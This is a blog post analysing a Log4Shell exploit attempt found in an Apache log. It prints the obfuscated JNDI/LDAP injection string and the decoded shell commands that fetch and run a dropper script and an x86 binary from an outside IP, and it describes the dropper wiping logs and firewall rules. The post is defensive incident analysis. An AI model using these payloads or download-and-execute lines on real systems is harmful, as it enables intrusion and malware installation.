An interesting thing appeared on my Apache log doorstep in late September. What follows is the actual code received from what I am calling a probable Log4Shell exploit. I was hesitant to publish it but was reassured by smarter people and I. Nothing is redacted.
159.223.175.248 - - [22/Sep/2022:15:45:54 -0400] "GET /?id= HTTP/1.1" 403 17282 "t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//159.223.175.248:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IGN1cmwgaHR0cDovLzE5OS4xOTUuMjUzLjE4NzoxOTgwL2FrdHVhbGlzaWVyZW4uc2ggLW8gYWt0dWFsaXNpZXJlbi5zaDsgd2dldCBodHRwOi8vMTk5LjE5NS4yNTMuMTg3OjE5ODAvYWt0dWFsaXNpZXJlbi5zaDsgY2htb2QgNzc3IGFrdHVhbGlzaWVyZW4uc2g7IHNoIGFrdHVhbGlzaWVyZW4uc2g7IHJtIC1yZiBha3R1YWxpc2llcmVuLnNoOyBybSAtcmYgYWt0dWFsaXNpZXJlbi5zaC4x}')"
Pedantic Note: The payload section of this log was duplicated for reasons I can only speculate. I removed it for clarity’s sake.
Let’s break this down. The first part of the log is pretty standard. IP 159.223.175.248 (North Bergen, New Jersey) sends the command “GET /?id= HTTP/1.1
“, to which my server responded with code 403 (forbidden). I haven’t figured out what that command is supposed to do, but it’s not really important here. It’s all the garbage after the byte count, which I am certain is Log4Shell exploitation code. The first part:
t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}
looks to be obfuscated. The ‘L’ in ldap (Lightweight Directory Access Protocol) and ‘J’ in jndi (Java Naming and Directory Interface) are separated out. Perhaps the BARFOO environment variable serves as a kill switch. I couldn’t figure out how this text is supposed to evaluate out to. Moving on.
The back end of that is base64, though I don’t understand the purpose of the URL preceding it. But let’s decode it:
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
curl http://199.195.253.187:1980/aktualisieren.sh -o aktualisieren.sh;
wget http://199.195.253.187:1980/aktualisieren.sh;
chmod 777 aktualisieren.sh; sh aktualisieren.sh;
rm -rf aktualisieren.sh; rm -rf aktualisieren.sh.1
It decodes as one giant line, but I have broken it down into five for clarification purposes. Separating commands with two pipes tells the Linux shell to execute the second command only if the first command fails. If it fails to change to the /tmp directory, try the /var/run directory, and so on. It is looking for a folder to stage an attack. Of course, being able to change to a directory does not mean you will have write access.
Then it tries to download the payload using both curl and wget. These two commands are similar in function. curl makes a local copy of a specified website (in this case just a shell script), and wget simply downloads the target. The payload is coming from a different IP address (Staten Island) than the web traffic. This is pretty normal.
Next it sets the access on the downloaded file to most permissive, then executes it. Finally it deletes the evidence. So, what is this aktualisieren.sh file? Aktualisieren is the German verb to update, so it appears to be masquerading as an update script. But what does that file do? I grabbed a copy.
First it deletes all of the logs, temp files, and a variety of other files, then deletes all iptables rules, deletes your command history, then, using similar techniques as before, downloads, sets access to, runs, then deletes a payload for a variety of architectures (mips, mpsl, x86, ppc, sparc, and arm4). Here is the x86 sample:
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
curl http://199.195.253.187:1980/sdjdshdgdsdsfsfausjashsaggsafsfaa.x86 -o sdjdshdgdsdsfsfausjashsaggsafsfaa.x86;
wget http://199.195.253.187:1980/sdjdshdgdsdsfsfausjashsaggsafsfaa.x86;
chmod +x sdjdshdgdsdsfsfausjashsaggsafsfaa.x86; ./sdjdshdgdsdsfsfausjashsaggsafsfaa.x86;
rm -rf sdjdshdgdsdsfsfausjashsaggsafsfaa.x86
The payload name appears to be random letters. As it is almost certainly a binary executable, that is unfortunately where my analysis stops. I haven’t gotten into malware analysis yet and I neglected to grab a copy. The file is no longer being hosted at that URL. I can only speculate what this final payload does, but a fair guess is ransomware. I did throw the url at VirusTotal to see what it thought of it. Three vendors (CMC Threat Intelligence, Cyble, and Comodo Valkyrie Verdict) identified it as malicious. Seventy five others declared it clean.
It would be tempting to assume the threat actor was in America, because of the IP, or in a German speaking country, because of the file name, but we really can’t say. Attribution isn’t that simple. Attacking from an IP that traces back to you is the amateurist of amateur moves and the dropper file name could be German to throw analysts or intended targets off or have been borrowed from another threat actor.
There is a lot about this attack I do not understand. Each time something like this comes my way I hope to go a few inches deeper into the rabbit hole. But for now, I need to leave a lot on the table. In conclusion, if you haven’t patched your systems running Log4J, you have already been compromised. Be careful out there. The internet is a very sketchy neighborhood.